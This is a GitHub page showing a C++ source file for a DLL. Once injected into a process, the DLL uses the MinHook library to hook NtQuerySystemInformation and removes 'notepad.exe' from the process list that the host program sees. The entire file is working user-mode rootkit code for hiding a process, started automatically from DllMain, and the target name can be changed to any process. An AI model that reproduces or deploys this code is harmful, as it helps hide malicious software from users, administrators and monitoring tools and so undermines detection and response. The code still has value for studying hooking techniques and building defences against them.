-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathmain.cpp
More file actions
70 lines (59 loc) · 2.12 KB
/
main.cpp
File metadata and controls
70 lines (59 loc) · 2.12 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include "WinDef.h"
#include <MinHook.h>
#include <Windows.h>
#include <iostream>
#pragma comment(lib, "MinHook.lib")
using namespace std;
typedef NTSTATUS(_stdcall* NtQuerySystemInformationOriginalDef)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, SIZE_T SystemInformationLength, PSIZE_T ReturnLength);
NtQuerySystemInformationOriginalDef oNtQuerySystemInformation;
NTSTATUS _stdcall hkNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, SIZE_T SystemInformationLength, PSIZE_T ReturnLength)
{
NTSTATUS Result;
PSYSTEM_PROCESS_INFO pSystemProcess;
PSYSTEM_PROCESS_INFO pNextSystemProcess;
Result = oNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if (NT_SUCCESS(Result) && SystemInformationClass == SystemProcessInformation)
{
pSystemProcess = (PSYSTEM_PROCESS_INFO)SystemInformation;
pNextSystemProcess = (PSYSTEM_PROCESS_INFO)((PBYTE)pSystemProcess + pSystemProcess->NextEntryOffset);
while (pNextSystemProcess->NextEntryOffset != 0)
{
if (lstrcmpW((&pNextSystemProcess->ImageName)->Buffer, L"notepad.exe") == 0) {
pSystemProcess->NextEntryOffset += pNextSystemProcess->NextEntryOffset;
}
pSystemProcess = pNextSystemProcess;
pNextSystemProcess = (PSYSTEM_PROCESS_INFO)((PBYTE)pSystemProcess + pSystemProcess->NextEntryOffset);
}
}
return Result;
}
int main()
{
void* dwNtQuerySystemInformation = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
if (MH_Initialize() != MH_OK)
{
}
while (MH_CreateHook((void*)dwNtQuerySystemInformation, (void*)hkNtQuerySystemInformation, reinterpret_cast<void**>(&oNtQuerySystemInformation)) != MH_OK)
{
}
while (MH_EnableHook((void*)dwNtQuerySystemInformation) != MH_OK)
{
}
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)main, 0, 0, 0);
return TRUE;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}